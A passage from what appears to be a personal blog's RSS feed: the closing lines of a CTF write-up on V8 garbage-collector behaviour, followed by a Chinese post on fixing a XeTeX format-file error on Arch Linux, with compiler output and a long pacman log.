<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">break</span><span style="color: #D6DEEB">;</span></span></code></pre></div></section>
<p>By default, only the soft limit but not the hard limit is hit. If we set the V8 flag <code>--<wbr>incremental<wbr>-<wbr>marking<wbr>-<wbr>hard<wbr>-<wbr>trigger<wbr>=<wbr>60</code>, it will hit the hard limit and immediately trigger a major GC.</p>
<p>Congratulations! You have followed this tour and now understand how this seemingly simple CTF challenge actually works, with basic knowledge about the V8 garbage collector.</p>
<p>……But wait, here<span class="mojikumi-narrow-left">’</span>s one last question, and I<span class="mojikumi-narrow-left">’</span>ll leave it for interesting readers:</p>
<a id="bonus-small-bills-in-multiple-rounds" name="bonus-small-bills-in-multiple-rounds" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-purple-2 dark:bg-purple-9 b-purple-5" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h3 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-help-circle-outline text-purple" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Question: </span><span data-v-a2ab257f>Bonus: Small bills in multiple rounds</span></h3><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>Actually, instead of using a large signature, it can also be solved by withdrawing fewer small bills in many rounds (e.g. <code>1e-4</code> denomination for 50 rounds). Why?</p></div></div></aside>
<section data-footnotes class="footnotes"><h2 class="sr-only" id="footnote-label">Footnotes</h2>
<ol>
<li id="user-content-fn-flow">
<p>Opposite to what I did during the event, in this write-up, I present the correct solution and raise questions to it before investigating the underlying mechanisms. And I actually made some incorrect hypotheses during the event and found that they are wrong when writing this write-up. I spent some more time investigating it and I was kind of busy, so this write-up is posted one month after the event. <a href="#user-content-fnref-flow" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-ulimit-m">
<p><a href="https://unix.stackexchange.com/questions/129587/does-ulimit-m-not-work-on-modern-linux">memory - Does 'ulimit -m' not work on (modern) Linux? - Unix &#x26; Linux Stack Exchange</a> <a href="#user-content-fnref-ulimit-m" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-101-balance">
<p>If I were the challenge writer, I will probably set a lower balance, as I<span class="mojikumi-narrow-left">’</span>m afraid if it can be solved without a small denomination. <a href="#user-content-fnref-101-balance" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
</ol>
</section>]]></content:encoded>
            <category domain="https://ouuan.moe/tag/writeup">writeup</category>
            <category domain="https://ouuan.moe/tag/ctf">ctf</category>
        </item>
        <item>
            <title><![CDATA[修复 XeTeX 更新导致编译错误]]></title>
            <link>https://ouuan.moe/post/2025/03/fix-xetex-update</link>
            <guid>https://ouuan.moe/post/2025/03/fix-xetex-update</guid>
            <pubDate>Thu, 20 Mar 2025 14:18:09 GMT</pubDate>
            <description><![CDATA[<p>毕设又咕了几周<span class="mojikumi-line-end">，</span>今天一看编译出错<span class="mojikumi-line-start">（</span></p>
]]></description>
            <content:encoded><![CDATA[<p>毕设又咕了几周<span class="mojikumi-line-end">，</span>今天一看编译出错<span class="mojikumi-line-start">（</span></p>

<section class="code-block relative my-6 shadow" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h2 class="text-3 text-footer" aria-label="plain text 代码块" data-v-c675dba6>plain text</h2><ile-root id="ile-39"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-39--></div><div class="dark:hidden" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><samp><span><span style="color: #403f53">This is XeTeX, Version 3.141592653-2.6-0.999997 (TeX Live 2025/Arch Linux) (preloaded format=xetex)</span></span>
<span><span style="color: #403f53"> restricted \write18 enabled.</span></span>
<span><span style="color: #403f53">---! /var/lib/texmf/web2c/xetex/xetex.fmt made by different executable version, strings are different</span></span>
<span><span style="color: #403f53">(Fatal format file error; I&#39;m stymied)</span></span></samp></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><samp><span><span style="color: #d6deeb">This is XeTeX, Version 3.141592653-2.6-0.999997 (TeX Live 2025/Arch Linux) (preloaded format=xetex)</span></span>
<span><span style="color: #d6deeb"> restricted \write18 enabled.</span></span>
<span><span style="color: #d6deeb">---! /var/lib/texmf/web2c/xetex/xetex.fmt made by different executable version, strings are different</span></span>
<span><span style="color: #d6deeb">(Fatal format file error; I&#39;m stymied)</span></span></samp></pre></div></section>
<h2 id="tldr" class="heading"><a href="#tldr" class="heading-anchor" aria-label="章节： tl;dr" tabindex="-1"></a><span>tl;dr</span></h2>
<p><code>sudo<wbr> <wbr>pacman<wbr> -<wbr>S<wbr> <wbr>texlive<wbr>-<wbr>xetex</code></p>
<h2 id="问-gpt" class="heading"><a href="#问-gpt" class="heading-anchor" aria-label="章节： 问 GPT" tabindex="-1"></a><span>问 GPT</span></h2>
<p>先去问了下 GPT<span class="mojikumi-line-end">，</span>它让我 <code>sudo<wbr> <wbr>rm<wbr> /<wbr>var<wbr>/<wbr>lib<wbr>/<wbr>texmf<wbr>/<wbr>web2c<wbr>/<wbr>xetex<wbr>/<wbr>xetex<wbr>.<wbr>fmt</code> 然后 <code>sudo<wbr> <wbr>fmtutil<wbr>-<wbr>sys<wbr> --<wbr>all</code> 或者 <code>sudo<wbr> <wbr>fmtutil<wbr>-<wbr>sys<wbr> --<wbr>byfmt<wbr> <wbr>xetex</code><span class="mojikumi-line-end">。</span>当然是没用的<span class="mojikumi-line-end">，</span>因为此时我没有安装 <code>texlive<wbr>-<wbr>xetex</code><span class="mojikumi-line-start">（</span></p>
<p>后来我自己发现问题了<span class="mojikumi-line-end">，</span>但如果再告诉 GPT <code>Did<wbr> <wbr>not<wbr> <wbr>find<wbr> <wbr>entry<wbr> <wbr>for<wbr> <wbr>byfmt<wbr>=<wbr>xetex<wbr> <wbr>skipped</code> 应该可以省几分钟<span class="mojikumi-line-end">。</span></p>
<h2 id="问题分析" class="heading"><a href="#问题分析" class="heading-anchor" aria-label="章节： 问题分析" tabindex="-1"></a><span>问题分析</span></h2>
<p>首先是在 2023 年<span class="mojikumi-line-end">，</span>Arch Linux 把 TeX Live 拆包了<span class="mojikumi-line-end">：</span><a href="https://archlinux.org/news/tex-live-package-reorganization/">TeX Live package reorganization</a><span class="mojikumi-line-end">。</span>此事在我的 <code>/<wbr>var<wbr>/<wbr>log<wbr>/<wbr>pacman<wbr>.<wbr>log</code> 中记载如下<span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" aria-label="plain text 代码块" data-v-c675dba6>plain text</h3><ile-root id="ile-40"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-40--></div><div class="dark:hidden" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><samp><span><span style="color: #403f53">[2023-06-18T19:25:40+0800] [PACMAN] Running &#39;pacman -S texlive-binextra&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:25:47+0800] [ALPM] transaction started</span></span>
<span><span style="color: #403f53">[2023-06-18T19:25:47+0800] [ALPM] installed texlive-binextra (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:25:47+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #403f53">[2023-06-18T19:25:47+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:25:47+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:25:48+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:25:48+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #403f53">[2023-06-18T19:36:40+0800] [PACMAN] Running &#39;pacman --noconfirm --color=always -Sy&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:36:40+0800] [PACMAN] synchronizing package lists</span></span>
<span><span style="color: #403f53">[2023-06-18T19:36:42+0800] [PACMAN] Running &#39;pacman --color=always -Su&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:36:42+0800] [PACMAN] starting full system upgrade</span></span>
<span><span style="color: #403f53">[2023-06-18T19:36:45+0800] [PACMAN] Running &#39;pacman -S texlive-xetex&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:37:14+0800] [ALPM] transaction started</span></span>
<span><span style="color: #403f53">[2023-06-18T19:37:14+0800] [ALPM] installed texlive-xetex (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:37:14+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #403f53">[2023-06-18T19:37:14+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:37:14+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:37:14+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:37:15+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #403f53">[2023-06-18T19:38:30+0800] [PACMAN] Running &#39;pacman -Rns texlive-xetex&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:38:31+0800] [ALPM] transaction started</span></span>
<span><span style="color: #403f53">[2023-06-18T19:38:31+0800] [ALPM] removed texlive-xetex (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:38:32+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #403f53">[2023-06-18T19:38:32+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:38:32+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:38:32+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:38:32+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #403f53">[2023-06-18T19:50:37+0800] [PACMAN] Running &#39;pacman --noconfirm --color=always -Sy&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:50:37+0800] [PACMAN] synchronizing package lists</span></span>
<span><span style="color: #403f53">[2023-06-18T19:50:40+0800] [PACMAN] Running &#39;pacman --color=always -Su&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:50:40+0800] [PACMAN] starting full system upgrade</span></span>
<span><span style="color: #403f53">[2023-06-18T19:50:43+0800] [PACMAN] Running &#39;pacman -S texlive-meta&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:29+0800] [ALPM] transaction started</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:29+0800] [ALPM] installed texlive-bibtexextra (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:29+0800] [ALPM] installed texlive-context (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-fontsextra (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-fontutils (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-formatsextra (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-games (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-humanities (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-luatex (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-metapost (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-music (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:38+0800] [ALPM] installed texlive-plaingeneric (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:38+0800] [ALPM] installed texlive-pstricks (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:38+0800] [ALPM] installed texlive-publishers (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:38+0800] [ALPM] installed texlive-xetex (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:38+0800] [ALPM] installed texlive-meta (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:38+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:40+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:40+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:42+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:51:43+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #403f53">[2023-06-18T19:53:03+0800] [ALPM] running &#39;73-texlive-updmap.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:53:03+0800] [ALPM-SCRIPTLET] updmap [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:14+0800] [PACMAN] Running &#39;pacman -Rns texlive-meta&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:15+0800] [ALPM] transaction started</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:15+0800] [ALPM] removed texlive-meta (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:16+0800] [ALPM] removed texlive-xetex (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:16+0800] [ALPM] removed texlive-publishers (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:16+0800] [ALPM] removed texlive-pstricks (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:17+0800] [ALPM] removed texlive-plaingeneric (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:17+0800] [ALPM] removed texlive-music (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:17+0800] [ALPM] removed texlive-metapost (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:17+0800] [ALPM] removed texlive-luatex (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:18+0800] [ALPM] removed texlive-latexextra (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:18+0800] [ALPM] removed texlive-latexrecommended (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:18+0800] [ALPM] removed texlive-humanities (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:18+0800] [ALPM] removed texlive-games (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:18+0800] [ALPM] removed texlive-formatsextra (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:18+0800] [ALPM] removed texlive-fontutils (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:21+0800] [ALPM] removed texlive-fontsextra (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:22+0800] [ALPM] removed texlive-context (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:22+0800] [ALPM] removed texlive-bibtexextra (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:22+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:24+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:24+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:24+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:24+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:46+0800] [ALPM] running &#39;73-texlive-updmap.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:54:46+0800] [ALPM-SCRIPTLET] updmap [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:28+0800] [PACMAN] Running &#39;pacman --noconfirm --color=always -Sy&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:28+0800] [PACMAN] synchronizing package lists</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:30+0800] [PACMAN] Running &#39;pacman --color=always -Su&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:30+0800] [PACMAN] starting full system upgrade</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:33+0800] [PACMAN] Running &#39;pacman -S texlive-latexrecommended&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:34+0800] [ALPM] transaction started</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:34+0800] [ALPM] installed texlive-latexrecommended (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:34+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:34+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:34+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:43+0800] [PACMAN] Running &#39;pacman --noconfirm --color=always -Sy&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:43+0800] [PACMAN] synchronizing package lists</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:46+0800] [PACMAN] Running &#39;pacman --color=always -Su&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:46+0800] [PACMAN] starting full system upgrade</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:48+0800] [PACMAN] Running &#39;pacman -S texlive-latexextra&#39;</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:49+0800] [ALPM] transaction started</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:50+0800] [ALPM] installed texlive-latexextra (2023.66594-11)</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:50+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:50+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:50+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:50+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #403f53">[2023-06-18T19:55:51+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #403f53">[2023-06-18T19:56:31+0800] [ALPM] running &#39;73-texlive-updmap.hook&#39;...</span></span></samp></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><samp><span><span style="color: #d6deeb">[2023-06-18T19:25:40+0800] [PACMAN] Running &#39;pacman -S texlive-binextra&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:25:47+0800] [ALPM] transaction started</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:25:47+0800] [ALPM] installed texlive-binextra (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:25:47+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:25:47+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:25:47+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:25:48+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:25:48+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:36:40+0800] [PACMAN] Running &#39;pacman --noconfirm --color=always -Sy&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:36:40+0800] [PACMAN] synchronizing package lists</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:36:42+0800] [PACMAN] Running &#39;pacman --color=always -Su&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:36:42+0800] [PACMAN] starting full system upgrade</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:36:45+0800] [PACMAN] Running &#39;pacman -S texlive-xetex&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:37:14+0800] [ALPM] transaction started</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:37:14+0800] [ALPM] installed texlive-xetex (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:37:14+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:37:14+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:37:14+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:37:14+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:37:15+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:38:30+0800] [PACMAN] Running &#39;pacman -Rns texlive-xetex&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:38:31+0800] [ALPM] transaction started</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:38:31+0800] [ALPM] removed texlive-xetex (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:38:32+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:38:32+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:38:32+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:38:32+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:38:32+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:50:37+0800] [PACMAN] Running &#39;pacman --noconfirm --color=always -Sy&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:50:37+0800] [PACMAN] synchronizing package lists</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:50:40+0800] [PACMAN] Running &#39;pacman --color=always -Su&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:50:40+0800] [PACMAN] starting full system upgrade</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:50:43+0800] [PACMAN] Running &#39;pacman -S texlive-meta&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:29+0800] [ALPM] transaction started</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:29+0800] [ALPM] installed texlive-bibtexextra (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:29+0800] [ALPM] installed texlive-context (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-fontsextra (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-fontutils (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-formatsextra (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-games (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-humanities (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-luatex (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-metapost (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:37+0800] [ALPM] installed texlive-music (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:38+0800] [ALPM] installed texlive-plaingeneric (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:38+0800] [ALPM] installed texlive-pstricks (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:38+0800] [ALPM] installed texlive-publishers (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:38+0800] [ALPM] installed texlive-xetex (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:38+0800] [ALPM] installed texlive-meta (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:38+0800] [ALPM] transaction completed</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:40+0800] [ALPM] running &#39;30-systemd-update.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:40+0800] [ALPM] running &#39;70-mktexlsr.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:42+0800] [ALPM] running &#39;72-texlive-fmtutil.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:51:43+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:53:03+0800] [ALPM] running &#39;73-texlive-updmap.hook&#39;...</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:53:03+0800] [ALPM-SCRIPTLET] updmap [WARNING]: resetting $HOME value (was /home/ouuan) to root&#39;s actual home (/root).</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:14+0800] [PACMAN] Running &#39;pacman -Rns texlive-meta&#39;</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:15+0800] [ALPM] transaction started</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:15+0800] [ALPM] removed texlive-meta (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:16+0800] [ALPM] removed texlive-xetex (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:16+0800] [ALPM] removed texlive-publishers (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:16+0800] [ALPM] removed texlive-pstricks (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:17+0800] [ALPM] removed texlive-plaingeneric (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:17+0800] [ALPM] removed texlive-music (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:17+0800] [ALPM] removed texlive-metapost (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:17+0800] [ALPM] removed texlive-luatex (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:18+0800] [ALPM] removed texlive-latexextra (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:18+0800] [ALPM] removed texlive-latexrecommended (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:18+0800] [ALPM] removed texlive-humanities (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:18+0800] [ALPM] removed texlive-games (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:18+0800] [ALPM] removed texlive-formatsextra (2023.66594-11)</span></span>
<span><span style="color: #d6deeb">[2023-06-18T19:54:18+0800] [ALPM] removed texlive-fontutils (2023.66594-11)</span></span>
